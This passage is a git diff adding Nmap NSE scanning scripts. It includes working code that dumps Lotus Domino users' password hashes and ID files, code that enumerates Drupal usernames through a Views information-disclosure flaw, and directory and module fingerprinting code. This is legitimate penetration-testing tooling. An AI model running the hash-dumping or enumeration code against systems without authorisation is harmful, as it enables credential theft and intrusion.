+ if ( user ) then
+ if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
+ return fail("The provided credentials were invalid")
+ end
+ else
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ for cred in c:getCredentials(creds.State.VALID) do
+ has_creds = true
+ if (isValidCredential(vhost or host, port, path, cred.user, cred.pass)) then
+ user = cred.user
+ pass = cred.pass
+ break
+ end
+ end
+ if not pass then
+ local msg = has_creds and "No valid credentials were found" or "No credentials supplied"
+ return fail(("%s (see http-domino-enum-passwords.username and http-domino-enum-passwords.password)"):format(msg))
+ end
+ end
+ end
+
+ http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
+ if http_response.status and http_response.status ==200 then
+ pager = getPager( http_response.body )
+ end
+ if ( not(pager) ) then
+ if ( http_response.body and
+ http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then
+ return fail("Failed to authenticate")
+ else
+ return fail("Failed to process results")
+ end
+ end
+ pos = 1
+
+ -- first collect all links
+ while( true ) do
+ path = pager .. "&Start=" .. pos
+ http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
+
+ if ( http_response.status == 200 ) then
+ local size = #links
+ links = getLinks( http_response.body, "%?OpenDocument", links )
+ -- No additions were made
+ if ( size == #links ) then
+ break
+ end
+ end
+
+ if ( max_fetch > 0 and max_fetch < #links ) then
+ break
+ end
+
+ pos = pos + chunk_size
+ end
+
+ for _, link in ipairs(links) do
+ stdnse.debug2("Fetching link: %s", link)
+ http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
+ local u_details = getUserDetails( http_response.body )
+
+ if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then
+ break
+ end
+
+ if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
+ stdnse.debug2("Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd)
+ -- Old type are 32 bytes, new are 20
+ if #u_details.passwd == 32 then
+ table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
+ else
+ table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd))
+ end
+ end
+
+ if ( u_details.idfile ) then
+ stdnse.debug2("Found ID file for user: %s", u_details.fullname)
+ if ( download_path ) then
+ stdnse.debug2("Downloading ID file for user: %s", u_details.full_name)
+ http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
+
+ if ( http_response.status == 200 ) then
+ local filename = download_path .. "/" .. stringaux.filename_escape(u_details.fullname .. ".id")
+ local status, err = saveIDFile( filename, http_response.body )
+ if ( status ) then
+ table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) )
+ else
+ table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
+ end
+ else
+ table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
+ end
+ else
+ table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
+ end
+ end
+ end
+
+ if( #hashes + #legacyHashes > 0) then
+ table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
+ end
+
+ if ( #hashes ) then
+ hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)"
+ table.insert( result, hashes )
+ end
+ if (#legacyHashes ) then
+ legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)"
+ table.insert( result, legacyHashes )
+ end
+
+ if ( #id_files ) then
+ id_files.name = "ID Files"
+ table.insert( result, id_files )
+ end
+
+ local result = stdnse.format_output(true, result)
+
+ if ( max_fetch > 0 ) then
+ result = result .. (" \n Results limited to %d results (see http-domino-enum-passwords.count)"):format(max_fetch)
+ end
+
+ return result
+
+end
diff --git a/scripts/http-drupal-enum-users.nse b/scripts/http-drupal-enum-users.nse
new file mode 100644
index 0000000..2ccf189
--- /dev/null
+++ b/scripts/http-drupal-enum-users.nse
@@ -0,0 +1,82 @@
+local http = require "http"
+local json = require "json"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Enumerates Drupal users by exploiting an information disclosure vulnerability
+in Views, Drupal's most popular module.
+
+Requests to admin/views/ajax/autocomplete/user/STRING return all usernames that
+begin with STRING. The script works by iterating STRING over letters to extract
+all usernames.
+
+For more information,see:
+* http://www.madirish.net/node/465
+]]
+
+---
+-- @see http-vuln-cve2014-3704.nse
+--
+-- @usage
+-- nmap --script=http-drupal-enum-users --script-args http-drupal-enum-users.root="/path/" <targets>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-drupal-enum-users:
+-- | admin
+-- | alex
+-- | manager
+-- |_ user
+--
+-- @args http-drupal-enum-users.root base path. Defaults to "/"
+
+author = "Hani Benhabiles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/"
+ local character, allrequests,user
+ local result = {}
+
+ -- ensure that root ends with a trailing slash
+ if ( not(root:match(".*/$")) ) then
+ root = root .. "/"
+ end
+
+ -- characters that usernames may begin with
+ -- + is space in url
+ local characters = "abcdefghijklmnopqrstuvwxyz.-123456789+"
+
+ for character in characters:gmatch(".") do
+ -- add request to pipeline
+ allrequests = http.pipeline_add(root.. 'admin/views/ajax/autocomplete/user/' .. character, nil, allrequests, "GET")
+ end
+
+ -- send requests
+ local pipeline_responses = http.pipeline_go(host, port, allrequests)
+ if not pipeline_responses then
+ stdnse.debug1("No answers from pipelined requests")
+ return nil
+ end
+
+ for i, response in pairs(pipeline_responses) do
+ if response.status == 200 then
+ local status, info = json.parse(response.body)
+ if status then
+ for _,user in pairs(info) do
+ if user ~= "Anonymous" then
+ table.insert(result, user)
+ end
+ end
+ end
+ end
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/http-drupal-enum.nse b/scripts/http-drupal-enum.nse
new file mode 100644
index 0000000..49a24f2
--- /dev/null
+++ b/scripts/http-drupal-enum.nse
@@ -0,0 +1,233 @@
+local coroutine = require "coroutine"
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local rand = require "rand"
+
+description = [[
+Enumerates the installed Drupal modules/themes by using a list of known modules and themes.
+
+The script works by iterating over module/theme names and requesting
+MODULE_PATH/MODULE_NAME/LICENSE.txt for modules and THEME_PATH/THEME_NAME/LICENSE.txt.
+MODULE_PATH/THEME_PATH which is either provided by the user, grepped for in the html body
+or defaulting to sites/all/modules/.
+
+If the response status code is 200, it means that the module/theme is installed. By
+default, the script checks for the top 100 modules/themes (by downloads), given the
+huge number of existing modules (~18k) and themes(~1.4k).
+
+If you want to update your themes or module list refer to the link below.
+
+* https://svn.nmap.org/nmap-exp/gyani/misc/drupal-update.py
+]]
+
+---
+-- @see http-vuln-cve2014-3704.nse
+--
+-- @args http-drupal-enum.root The base path. Defaults to <code>/</code>.
+-- @args http-drupal-enum.number Number of modules to check.
+-- Use this option with a number or "all" as an argument to test for all modules.
+-- Defaults to <code>100</code>.
+-- @args http-drupal-enum.modules_path Direct Path for Modules
+-- @args http-drupal-enum.themes_path Direct Path for Themes
+-- @args http-drupal-enum.type default all.choose between "themes" and "modules"
+--
+-- @usage nmap -p 80 --script http-drupal-enum <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-drupal-enum:
+-- | Themes:
+-- | adaptivetheme
+-- | Modules:
+-- | views
+-- | token
+-- | ctools
+-- | pathauto
+-- | date
+-- | imce
+-- |_ webform
+--
+-- Final times for host: srtt: 329644 rttvar: 185712 to: 1072492
+--
+-- @xmloutput
+-- <table key="Themes">
+-- <elem>adaptivetheme</elem>
+-- </table>
+-- <table key="Modules">
+-- <elem>views</elem>
+-- <elem>token</elem>
+-- <elem>ctools</elem>
+-- <elem>pathauto</elem>
+-- <elem>date</elem>
+-- <elem>imce</elem>
+-- <elem>webform</elem>
+-- </table>
+
+
+author = {
+ "Hani Benhabiles",
+ "Gyanendra Mishra",
+}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {
+ "discovery",
+ "intrusive",
+}
+
+local DEFAULT_SEARCH_LIMIT = 100
+local DEFAULT_MODULES_PATH = 'sites/all/modules/'
+local DEFAULT_THEMES_PATH = 'sites/all/themes/'
+local IDENTIFICATION_STRING = "GNU GENERAL PUBLIC LICENSE"
+
+portrule = shortport.http
+
+--Reads database
+local function read_data (file)
+ return coroutine.wrap(function ()
+ for line in file:lines() do
+ if not line:match "^%s*#" and not line:match "^%s*$" then
+ coroutine.yield(line)
+ end
+ end
+ end)
+end
+
+--Checks if the module/theme file exists
+local function assign_file (act_file)
+ if not act_file then
+ return false
+ end
+ local temp_file = io.open(act_file, "r")
+ if not temp_file then
+ return false
+ end
+ return temp_file
+end
+
+--- Attempts to find modules path
+local get_path = function (host, port, root, type_of)
+ local default_path
+ if type_of == "themes" then
+ default_path = DEFAULT_THEMES_PATH
+ else
+ default_path = DEFAULT_MODULES_PATH
+ end
+ local body = http.get(host, port, root).body or ""
+ local pattern = "sites/[%w.-/]*/" .. type_of .. "/"
+ local found_path = body:match(pattern)
+ return found_path or default_path
+end
+
+
+function action (host, port)
+ local result = stdnse.output_table()
+ local file = {}
+ local all = {}
+ local requests = {}
+ local method = "HEAD"
+
+ --Read script arguments
+ local resource_type = stdnse.get_script_args(SCRIPT_NAME .. ".type") or "all"
+ local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/"
+ local search_limit = stdnse.get_script_args(SCRIPT_NAME .. ".number") or DEFAULT_SEARCH_LIMIT
+ local themes_path = stdnse.get_script_args(SCRIPT_NAME .. ".themes_path")
+ local modules_path = stdnse.get_script_args(SCRIPT_NAME .. ".modules_path")
+
+ local themes_file = nmap.fetchfile "nselib/data/drupal-themes.lst"
+ local modules_file = nmap.fetchfile "nselib/data/drupal-modules.lst"
+
+ if resource_type == "themes" or resource_type == "all" then
+ local theme_db = assign_file(themes_file)
+ if not theme_db then
+ return false, "Couldn't find drupal-themes.lst in /nselib/data/"
+ else
+ file['Themes'] = theme_db
+ end
+ end
+
+ if resource_type == "modules" or resource_type == "all" then
+ local modules_db = assign_file(modules_file)
+ if not modules_db then
+ return false, "Couldn't find drupal-modules.lst in /nselib/data/"
+ else
+ file['Modules'] = modules_db
+ end
+ end
+
+ if search_limit == "all" then
+ search_limit = nil
+ else
+ search_limit = tonumber(search_limit)
+ end
+
+ if not themes_path then
+ themes_path = (root .. get_path(host, port, root, "themes")):gsub("//", "/")
+ end
+ if not modules_path then
+ modules_path = (root .. get_path(host, port, root, "modules")):gsub("//", "/")
+ end
+
+ -- We default to HEAD requests unless the server returns
+ -- non 404 (200 or other) status code
+
+ local response = http.head(host, port, modules_path .. rand.random_alpha(8) .. "/LICENSE.txt")
+ if response.status ~= 404 then
+ method = "GET"
+ end
+
+ for key, value in pairs(file) do
+ local count = 0
+ for resource_name in read_data(value) do
+ count = count + 1
+ if search_limit and count > search_limit then
+ break
+ end
+ -- add request to pipeline
+ if key == "Modules" then
+ all = http.pipeline_add(modules_path .. resource_name .. "/LICENSE.txt", nil, all, method)
+ else
+ all = http.pipeline_add(themes_path .. resource_name .. "/LICENSE.txt", nil, all, method)
+ end
+ -- add to requests buffer
+ table.insert(requests, resource_name)
+ end
+
+ -- send requests
+ local pipeline_responses = http.pipeline_go(host, port, all)
+ if not pipeline_responses then
+ stdnse.print_debug(1, "No answers from pipelined requests")
+ return nil
+ end
+
+ for i, response in ipairs(pipeline_responses) do
+ -- Module exists if 200 on HEAD.
+ -- A lot Drupal of instances return 200 for all GET requests,
+ -- hence we check for the identifcation string.
+ if response.status == 200 and (method == "HEAD" or (method == "GET" and response.body:match(IDENTIFICATION_STRING))) then
+ result[key] = result[key] or {}
+ table.insert(result[key], requests[i])
+ end
+ end
+ requests = {}
+ all = {}
+ end
+
+ if result['Themes'] or result['Modules'] then
+ return result
+ else
+ if nmap.verbosity() > 1 then
+ return string.format("Nothing found amongst the top %s resources," .. "use --script-args number=<number|all> for deeper analysis)", search_limit)
+ else
+ return nil
+ end
+ end
+
+end
diff --git a/scripts/http-enum.nse b/scripts/http-enum.nse
new file mode 100644
index 0000000..237fe1e
--- /dev/null
+++ b/scripts/http-enum.nse
@@ -0,0 +1,515 @@
+local _G = require "_G"
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Enumerates directories used by popular web applications and servers.
+
+This parses a fingerprint file that's similar in format to the Nikto Web application
+scanner. This script, however, takes it one step further by building in advanced pattern matching as well
+as having the ability to identify specific versions of Web applications.
+
+You can also parse a Nikto-formatted database using http-fingerprints.nikto-db-path. This will try to parse
+most of the fingerprints defined in nikto's database in real time. More documentation about this in the
+nselib/data/http-fingerprints.lua file.
+
+Currently, the database can be found under Nmap's directory in the nselib/data folder. The file is called
+http-fingerprints and has a long description of its functionality in the file header.
+
+Many of the finger prints were discovered by me (Ron Bowes), and a number of them are from the Yokoso
+project, used with permission from Kevin Johnson (http://seclists.org/nmap-dev/2009/q3/0685.html).
+
+Initially, this script attempts to access two different random files in order to detect servers
+that don't return a proper 404 Not Found status. In the event that they return 200 OK, the body
+has any non-static-looking data removed (URI, time, etc), and saved. If the two random attempts
+return different results, the script aborts (since a 200-looking 404 cannot be distinguished from
+an actual 200). This will prevent most false positives.
+
+In addition, if the root folder returns a 301 Moved Permanently or 401 Authentication Required,
+this script will also abort. If the root folder has disappeared or requires authentication, there
+is little hope of finding anything inside it.
+
+By default, only pages that return 200 OK or 401 Authentication Required are displayed. If the
+<code>http-enum.displayall</code> script argument is set, however, then all results will be displayed (except
+for 404 Not Found and the status code returned by the random files). Entries in the http-fingerprints
+database can specify their own criteria for accepting a page as valid.
+
+]]
+
+---
+-- @args http-enum.basepath The base path to prepend to each request. Leading/trailing slashes are ignored.
+-- @args http-enum.displayall Set this argument to display all status codes that may indicate a valid page, not
+-- just 200 OK and 401 Authentication Required pages. Although this is more likely
+-- to find certain hidden folders, it also generates far more false positives.
+-- @args http-enum.fingerprintfile Specify a different file to read fingerprints from.
+-- @args http-enum.category Set to a category (as defined in the fingerprints file). Some options are 'attacks',
+-- 'database', 'general', 'microsoft', 'printer', etc.
+-- @args http-fingerprints.nikto-db-path Looks at the given path for nikto database.
+-- It then converts the records in nikto's database into our Lua table format
+-- and adds them to our current fingerprints if they don't exist already.
+-- Unfortunately, our current implementation has some limitations:
+-- * It doesn't support records with more than one 'dontmatch' patterns for
+-- a probe.
+-- * It doesn't support logical AND for the 'match' patterns.
+-- * It doesn't support sending additional headers for a probe.
+-- That means, if a nikto fingerprint needs one of the above features, it
+-- won't be loaded. At the time of writing this, 6546 out of the 6573 Nikto
+-- fingerprints are being loaded successfully. This runtime Nikto fingerprint integration was suggested by Nikto co-author Chris Sullo as described at http://seclists.org/nmap-dev/2013/q4/292
+--
+-- @output
+-- Interesting ports on test.skullsecurity.org (208.81.2.52):
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-enum:
+-- | /icons/: Icons and images
+-- | /images/: Icons and images
+-- | /robots.txt: Robots file
+-- | /sw/auth/login.aspx: Citrix WebTop
+-- | /images/outlook.jpg: Outlook Web Access
+-- | /nfservlets/servlet/SPSRouterServlet/: netForensics
+-- |_ /nfservlets/servlet/SPSRouterServlet/: netForensics
+--
+-- @see http-iis-short-name-brute.nse
+
+author = {"Ron Bowes", "Andrew Orr", "Rob Nicholls"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "intrusive", "vuln"}
+
+
+portrule = shortport.http
+
+-- TODO
+-- o Automatically convert HEAD -> GET if the server doesn't support HEAD
+-- o Add variables for common extensions, common CGI extensions, etc that expand the probes
+
+-- File extensions (TODO: Implement this)
+local cgi_ext = { 'php', 'asp', 'aspx', 'jsp', 'pl', 'cgi' }
+
+local common_ext = { 'php', 'asp', 'aspx', 'jsp', 'pl', 'cgi', 'css', 'js', 'htm', 'html' }
+
+---Convert the filename to backup variations. These can be valuable for a number of reasons.
+-- First, because they may not have the same access restrictions as the main version (file.php
+-- may run as a script, but file.php.bak or file.php~ might not). And second, the old versions
+-- might contain old vulnerabilities
+--
+-- At the time of the writing, these were all decided by me (Ron Bowes).
+local function get_variations(filename)
+ local variations = {}
+
+ if(filename == nil or filename == "" or filename == "/") then
+ return {}
+ end
+
+ local is_directory = (string.sub(filename, #filename, #filename) == "/")
+ if(is_directory) then
+ filename = string.sub(filename, 1, #filename - 1)
+ end
+
+ -- Try some extensions
+ table.insert(variations, filename .. ".bak")
+ table.insert(variations, filename .. ".1")
+ table.insert(variations, filename .. ".tmp")
+
+ -- Strip off the extension, if it has one, and try it all again.
+ -- For now, just look for three-character extensions.
+ if(string.sub(filename, #filename - 3, #filename - 3) == '.') then
+ local bare = string.sub(filename, 1, #filename - 4)
+ local extension = string.sub(filename, #filename - 3)
+
+ table.insert(variations, bare .. ".bak")
+ table.insert(variations, bare .. ".1")
+ table.insert(variations, bare .. ".tmp")
+ table.insert(variations, bare .. "_1" .. extension)
+ table.insert(variations, bare .. "2" .. extension)
+ end
+
+
+ -- Some Windowsy things
+ local onlyname = string.sub(filename, 2)
+ -- If the name contains a '/', forget it
+ if(string.find(onlyname, "/") == nil) then
+ table.insert(variations, "/Copy of " .. onlyname)
+ table.insert(variations, "/Copy (2) of " .. onlyname)
+ table.insert(variations, "/Copy of Copy of " .. onlyname)
+
+ -- Word/Excel/etc replace the first two characters with '~$', it seems
+ table.insert(variations, "/~$" .. string.sub(filename, 4))
+ end
+
+ -- Some editors add a '~'
+ table.insert(variations, filename .. "~")
+
+ -- Try some directories
+ table.insert(variations, "/bak" .. filename)
+ table.insert(variations, "/backup" .. filename)
+ table.insert(variations, "/backups" .. filename)
+ table.insert(variations, "/beta" .. filename)
+ table.insert(variations, "/test" .. filename)
+
+ -- If it's a directory, add a '/' after every entry
+ if(is_directory) then
+ for i, v in ipairs(variations) do
+ variations[i] = v .. "/"
+ end
+ end
+
+ -- Some compressed formats (we don't want a trailing '/' on these, so they go after the loop)
+ table.insert(variations, filename .. ".zip")
+ table.insert(variations, filename .. ".tar")
+ table.insert(variations, filename .. ".tar.gz")
+ table.insert(variations, filename .. ".tgz")
+ table.insert(variations, filename .. ".tar.bz2")
+
+
+
+ return variations
+end
+
+-- simplify unlocking the mutex, ensuring we don't try to parse again, and returning an error.
+local function bad_prints(mutex, err)
+ nmap.registry.http_fingerprints = err
+ mutex "done"
+ return false, err
+end
+
+---Get the list of fingerprints from files. The files are defined in <code>fingerprint_files</code>. If category
+-- is non-nil, only choose scripts that are in that category.
+--
+--@return An array of entries, each of which have a <code>checkdir</code> field, and possibly a <code>checkdesc</code>.
+local function get_fingerprints(fingerprint_file, category)
+ local entries = {}
+ local i
+ local total_count = 0 -- Used for 'limit'
+
+ -- Check if we've already read the file
+ local mutex = nmap.mutex("http_fingerprints")
+ mutex "lock"
+ if nmap.registry.http_fingerprints then
+ if type(nmap.registry.http_fingerprints) == "table" then
+ stdnse.debug1("Using cached HTTP fingerprints")
+ mutex "done"
+ return true, nmap.registry.http_fingerprints
+ else
+ return bad_prints(mutex, nmap.registry.http_fingerprints)
+ end
+ end
+
+ -- Try and find the file; if it isn't in Nmap's directories, take it as a direct path
+ local filename_full = nmap.fetchfile('nselib/data/' .. fingerprint_file)
+ if(not(filename_full)) then
+ filename_full = fingerprint_file
+ end
+
+ stdnse.debug1("Loading fingerprint database: %s", filename_full)
+ local env = setmetatable({fingerprints = {}}, {__index = _G})
+ local file = loadfile(filename_full, "t", env)
+ if(not(file)) then
+ stdnse.debug1("Couldn't load configuration file: %s", filename_full)
+ return bad_prints(mutex, "Couldn't load fingerprint file: " .. filename_full)
+ end
+
+ file()
+
+ local fingerprints = env.fingerprints
+
+ -- Sanity check our file to ensure that all the fields were good. If any are bad, we
+ -- stop and don't load the file.
+ for i, fingerprint in pairs(fingerprints) do
+ -- Make sure we have a valid index
+ if(type(i) ~= 'number') then
+ return bad_prints(mutex, "The 'fingerprints' table is an array, not a table; all indexes should be numeric")
+ end
+
+ -- Make sure they have either a string or a table of probes
+ if(not(fingerprint.probes) or
+ (type(fingerprint.probes) ~= 'table' and type(fingerprint.probes) ~= 'string') or
+ (type(fingerprint.probes) == 'table' and #fingerprint.probes == 0)) then
+ return bad_prints(mutex, "Invalid path found for fingerprint " .. i)
+ end
+
+ -- Make sure fingerprint.path is a table
+ if(type(fingerprint.probes) == 'string') then
+ fingerprint.probes = {fingerprint.probes}
+ end
+
+ -- Make sure the elements in the probes array are strings or arrays
+ for i, probe in pairs(fingerprint.probes) do
+ -- Make sure we have a valid index
+ if(type(i) ~= 'number') then
+ return bad_prints(mutex, "The 'probes' table is an array, not a table; all indexes should be numeric")
+ end
+
+ -- Convert the probe to a table if it's a string
+ if(type(probe) == 'string') then
+ fingerprint.probes[i] = {path=fingerprint.probes[i]}
+ probe = fingerprint.probes[i]
+ end
+
+ -- Make sure the probes table has a 'path'
+ if(not(probe['path'])) then
+ return bad_prints(mutex, "The 'probes' table requires each element to have a 'path'.")
+ end
+
+ -- If they didn't set a method, set it to 'GET'
+ if(not(probe['method'])) then
+ probe['method'] = 'GET'
+ end
+
+ -- Make sure the method's a string
+ if(type(probe['method']) ~= 'string') then
+ return bad_prints(mutex, "The 'method' in the probes file has to be a string")
+ end
+ end
+
+ -- Ensure that matches is an array
+ if(type(fingerprint.matches) ~= 'table') then
+ return bad_prints(mutex, "'matches' field has to be a table")
+ end
+
+ -- Loop through the matches
+ for i, match in pairs(fingerprint.matches) do
+ -- Make sure we have a valid index
+ if(type(i) ~= 'number') then
+ return bad_prints(mutex, "The 'matches' table is an array, not a table; all indexes should be numeric")
+ end
+
+ -- Check that every element in the table is an array
+ if(type(match) ~= 'table') then
+ return bad_prints(mutex, "Every element of 'matches' field has to be a table")
+ end
+
+ -- Check the output field
+ if(match['output'] == nil or type(match['output']) ~= 'string') then
+ return bad_prints(mutex, "The 'output' field in 'matches' has to be present and a string")
+ end
+
+ -- Check the 'match' and 'dontmatch' fields, if present
+ if((match['match'] and type(match['match']) ~= 'string') or (match['dontmatch'] and type(match['dontmatch']) ~= 'string')) then
+ return bad_prints(mutex, "The 'match' and 'dontmatch' fields in 'matches' have to be strings, if they exist")
+ end
+
+ -- Change blank 'match' strings to '.*' so they match everything
+ if(not(match['match']) or match['match'] == '') then
+ match['match'] = '(.*)'
+ end
+ end
+
+ -- Make sure the severity is an integer between 1 and 4. Default it to 1.
+ if(fingerprint.severity and (type(fingerprint.severity) ~= 'number' or fingerprint.severity < 1 or fingerprint.severity > 4)) then
+ return bad_prints(mutex, "The 'severity' field has to be an integer between 1 and 4")
+ elseif not fingerprint.severity then
+ fingerprint.severity = 1
+ end
+
+ -- Make sure ignore_404 is a boolean. Default it to false.
+ if(fingerprint.ignore_404 and type(fingerprint.ignore_404) ~= 'boolean') then
+ return bad_prints(mutex, "The 'ignore_404' field has to be a boolean")
+ elseif not fingerprint.ignore_404 then
+ fingerprint.ignore_404 = false
+ end
+ end
+
+ -- Make sure we have some fingerprints
+ if(#fingerprints == 0) then
+ return bad_prints(mutex, "No fingerprints were loaded")
+ end
+
+ -- If the user wanted to filter by category, do it
+ if(category) then
+ local filtered_fingerprints = {}
+ for _, fingerprint in pairs(fingerprints) do
+ if(fingerprint.category == category) then
+ table.insert(filtered_fingerprints, fingerprint)
+ end
+ end
+
+ fingerprints = filtered_fingerprints
+
+ -- Make sure we still have fingerprints after the category filter
+ if(#fingerprints == 0) then
+ return bad_prints(mutex, "No fingerprints matched the given category (" .. category .. ")")
+ end
+ end
+
+
+ -- -- If the user wants to try variations, add them
+ -- if(try_variations) then
+ -- -- Get a list of all variations for this directory
+ -- local variations = get_variations(entry['checkdir'])
+ --
+ -- -- Make a copy of the entry for each of them
+ -- for _, variation in ipairs(variations) do
+ -- new_entry = {}
+ -- for k, v in pairs(entry) do
+ -- new_entry[k] = v
+ -- end
+ -- new_entry['checkdesc'] = new_entry['checkdesc'] .. " (variation)"
+ -- new_entry['checkdir'] = variation
+ -- table.insert(entries, new_entry)
+ -- count = count + 1
+ -- end
+ -- end
+
+ -- Cache the fingerprints for other scripts, so we aren't reading the files every time
+ nmap.registry.http_fingerprints = fingerprints
+ mutex "done"
+
+ return true, fingerprints
+end
+
+action = function(host, port)
+ local response = {}
+
+ -- Read the script-args, keeping the old ones for reverse compatibility
+ local basepath = stdnse.get_script_args({'http-enum.basepath', 'path'}) or '/'
+ local displayall = stdnse.get_script_args({'http-enum.displayall', 'displayall'}) or false
+ local fingerprint_file = stdnse.get_script_args({'http-enum.fingerprintfile', 'fingerprints'}) or 'http-fingerprints.lua'
+ local category = stdnse.get_script_args('http-enum.category')
+ -- local try_variations = stdnse.get_script_args({'http-enum.tryvariations', 'variations'}) or false
+ -- local limit = tonumber(stdnse.get_script_args({'http-enum.limit', 'limit'})) or -1
+
+ -- Add URLs from external files
+ local status, fingerprints = get_fingerprints(fingerprint_file, category)
+ if(not(status)) then
+ return stdnse.format_output(false, fingerprints)
+ end
+ stdnse.debug1("Loaded %d fingerprints", #fingerprints)
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, known_404 = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ -- Queue up the checks
+ local all = {}
+
+ -- Remove trailing slash, if it exists
+ if(#basepath > 1 and string.sub(basepath, #basepath, #basepath) == '/') then
+ basepath = string.sub(basepath, 1, #basepath - 1)
+ end
+
+ -- Add a leading slash, if it doesn't exist
+ if(#basepath <= 1) then
+ basepath = ''
+ else
+ if(string.sub(basepath, 1, 1) ~= '/') then
+ basepath = '/' .. basepath
+ end
+ end
+
+ local results_nopipeline = {}
+ -- Loop through the fingerprints
+ stdnse.debug1("Searching for entries under path '%s' (change with 'http-enum.basepath' argument)", basepath)
+ for i = 1, #fingerprints, 1 do
+ -- Add each path. The order very much matters here.
+ for j = 1, #fingerprints[i].probes, 1 do
+ local probe = fingerprints[i].probes[j]
+ if probe.nopipeline then
+ local res = http.generic_request(host, port, probe.method or 'GET', basepath .. probe.path, probe.options or nil)
+ if res.status then
+ table.insert(results_nopipeline, res)
+ else
+ table.insert(results_nopipeline, false)
+ end
+ else
+ all = http.pipeline_add(basepath .. probe.path, probe.options or nil, all, probe.method or 'GET')
+ end
+ end
+ end
+
+ -- Perform all the requests.
+ local results = http.pipeline_go(host, port, all)
+
+ -- Check for http.pipeline error
+ if(results == nil) then
+ stdnse.debug1("http.pipeline_go encountered an error")
+ return stdnse.format_output(false, "http.pipeline_go encountered an error")
+ end
+
+ -- Loop through the fingerprints. Note that for each fingerprint, we may have multiple results
+ local j = 1
+ local j_nopipeline = 1
+ for i, fingerprint in ipairs(fingerprints) do
+
+ -- Loop through the paths for each fingerprint in the same order we did the requests. Each of these will
+ -- have one result, so increment the result value at each iteration
+ for _, probe in ipairs(fingerprint.probes) do
+ local result
+ if probe.nopipeline then
+ result = results_nopipeline[j_nopipeline]
+ j_nopipeline = j_nopipeline + 1
+ else
+ result = results[j]
+ j = j + 1
+ end
+ if(result) then
+ local path = basepath .. probe['path']
+ local good = true
+ local output = nil
+ -- Unless this check said to ignore 404 messages, check if we got a valid page back using a known 404 message.
+ if(fingerprint.ignore_404 ~= true and not(http.page_exists(result, result_404, known_404, path, displayall))) then
+ good = false
+ else
+ -- Loop through our matches table and see if anything matches our result
+ for _, match in ipairs(fingerprint.matches) do
+ if(match.match) then
+ local result, matches = http.response_contains(result, match.match)
+ if(result) then
+ output = match.output
+ good = true
+ for k, value in ipairs(matches) do
+ output = string.gsub(output, '\\' .. k, matches[k])
+ end
+ end
+ else
+ output = match.output
+ end
+
+ -- If nothing matched, turn off the match
+ if(not(output)) then
+ good = false
+ end
+
+ -- If we match the 'dontmatch' line, we're not getting a match
+ if(match.dontmatch and match.dontmatch ~= '' and http.response_contains(result, match.dontmatch)) then
+ output = nil
+ good = false
+ end
+
+ -- Break the loop if we found it
+ if(output) then
+ break
+ end
+ end
+ end
+
+ if(good) then
+ -- Save the path in the registry
+ http.save_path(stdnse.get_hostname(host), port.number, path, result.status)
+
+ -- Add the path to the output
+ output = string.format("%s: %s", path, output)
+
+ -- Build the status code, if it isn't a 200
+ if(result.status ~= 200) then
+ output = output .. " (" .. http.get_status_string(result) .. ")"
+ end
+
+ stdnse.debug1("Found a valid page! %s", output)
+
+ table.insert(response, output)
+ end
+ end
+ end
+ end
+
+ return stdnse.format_output(true, response)
+end
diff --git a/scripts/http-errors.nse b/scripts/http-errors.nse
new file mode 100644
index 0000000..4907d2e
--- /dev/null
+++ b/scripts/http-errors.nse
@@ -0,0 +1,130 @@
+description = [[
+This script crawls through the website and returns any error pages.
+
+The script will return all pages (sorted by error code) that respond with an
+http code equal or above 400. To change this behaviour, please use the
+<code>errcodes</code> option.
+
+The script, by default, spiders and searches within forty pages. For large web
+applications make sure to increase httpspider's <code>maxpagecount</code> value.
+Please, note that the script will become more intrusive though.
+]]
+
+---
+-- @usage nmap -p80 --script http-errors.nse <target>
+--
+-- @args http-errors.errcodes The error codes we are interested in.
+-- Default: nil (all codes >= 400)
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-errors:
